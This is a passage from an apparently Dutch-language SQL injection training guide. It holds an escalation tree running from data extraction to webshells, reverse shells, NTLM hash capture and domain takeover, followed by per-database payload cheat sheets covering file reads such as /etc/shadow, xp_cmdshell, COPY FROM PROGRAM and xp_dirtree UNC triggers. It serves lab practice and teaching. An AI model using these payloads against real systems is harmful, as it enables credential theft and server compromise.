mssql_unc_inject http/commands/mssql_unc_inject NTLMv2 hash capture MSSQL
mssql_xpcmdshell http/commands/mssql_xpcmdshell OS command execution MSSQL

Escalatiepad-overzicht

Het volgende schema toont hoe een SQL Injection-kwetsbaarheid kan escaleren van een eenvoudige data-lekkage naar volledige server- en domeincontrole:

SQL Injection gevonden
    |
    +-- Data extractie (UNION / Error / Blind)
    |       |
    |       +-- Gebruikers + wachtwoord-hashes
    |       +-- Configuratiebestanden (database credentials)
    |       +-- Andere databases op dezelfde server
    |
    +-- File read (LOAD_FILE / pg_read_file)
    |       |
    |       +-- /etc/passwd, /etc/shadow
    |       +-- Applicatie-configuratie
    |       +-- SSH-keys, API-tokens
    |
    +-- File write (INTO OUTFILE / lo_export)
    |       |
    |       +-- Webshell plaatsen
    |               |
    |               +-- Remote Code Execution
    |
    +-- Native RCE
    |       |
    |       +-- MSSQL: xp_cmdshell
    |       +-- PostgreSQL: COPY FROM PROGRAM
    |       +-- MySQL: UDF (lib_mysqludf_sys)
    |               |
    |               +-- Reverse shell
    |                       |
    |                       +-- Post-exploitation
    |
    +-- MSSQL specifiek
            |
            +-- Linked server crawling
            |       |
            |       +-- Laterale beweging naar andere SQL servers
            |       +-- Privilege escalation via SA-links
            |
            +-- UNC path injection
                    |
                    +-- NTLMv2 hash capture
                    +-- Hash cracking (hashcat)
                    +-- NTLM relay naar andere services
                            |
                            +-- Domain escalation

Cheat sheet: SQL Injection per database

MySQL / MariaDB

Actie Payload
Versie version() of @@version
Huidige database database()
Huidige user current_user() of user()
Alle databases SELECT schema_name FROM information_schema.schemata
Alle tabellen SELECT table_name FROM information_schema.tables WHERE table_schema=database()
Kolommen SELECT column_name FROM information_schema.columns WHERE table_name='X'
String concat concat(), group_concat(), concat_ws()
Substring SUBSTRING(str, pos, len) of MID(str, pos, len)
Comment -- -, #, /* */
Time delay SLEEP(n)
File read LOAD_FILE('path')
File write INTO OUTFILE 'path'
Stacked queries Ja (met PDO/MySQLi multi_query)

PostgreSQL

Actie Payload
Versie version()
Huidige database current_database()
Huidige user current_user of session_user
Alle databases SELECT datname FROM pg_database
Alle tabellen SELECT table_name FROM information_schema.tables WHERE table_schema='public'
String concat string_agg(), || operator
Substring SUBSTRING(str, pos, len)
Comment -- -, /* */
Time delay pg_sleep(n)
File read pg_read_file('path'), lo_import()
File write COPY TO, lo_export()
Command exec COPY FROM PROGRAM 'cmd'
Quote bypass CHR(), $$string$$
Stacked queries Ja

MSSQL

Actie Payload
Versie @@version
Huidige database DB_NAME()
Huidige user SYSTEM_USER of SUSER_SNAME()
Alle databases SELECT name FROM master..sysdatabases
Alle tabellen SELECT name FROM sysobjects WHERE xtype='U'
Kolommen SELECT name FROM syscolumns WHERE id=OBJECT_ID('tabel')
String concat + operator, FOR XML PATH
Substring SUBSTRING(str, pos, len)
Comment -- -, /* */
Time delay WAITFOR DELAY '0:0:n'
Error leakage CONVERT(int, data)
Command exec xp_cmdshell 'cmd'
UNC trigger xp_dirtree '\\ip\share'
Linked server query OPENQUERY("server", 'query')
Stacked queries Ja

Oracle

Actie Payload
Versie SELECT banner FROM v$version
Huidige database SELECT ora_database_name FROM dual
Huidige user SELECT user FROM dual
Alle tabellen SELECT table_name FROM all_tables
Kolommen SELECT column_name FROM all_tab_columns WHERE table_name='X'
String concat || operator
Substring SUBSTR(str, pos, len)
Comment --, /* */
Time delay DBMS_PIPE.RECEIVE_MESSAGE('a', n)
Dummy tabel dual (verplicht bij elke SELECT zonder FROM)
Stacked queries Nee (in de meeste contexten)

Verder lezen

IB Tip: De beste manier om SQL Injection te leren is door het te doen. Zet de IB-applicatie op, open het SQLi-lab, en werk door de command files heen. Begin met UNION-based (het meest zichtbare resultaat), ga dan naar error-based, en bewaar blind voor als je masochistische neigingen hebt. sqlmap is je vangnet — leer het handmatig, automatiseer het daarna.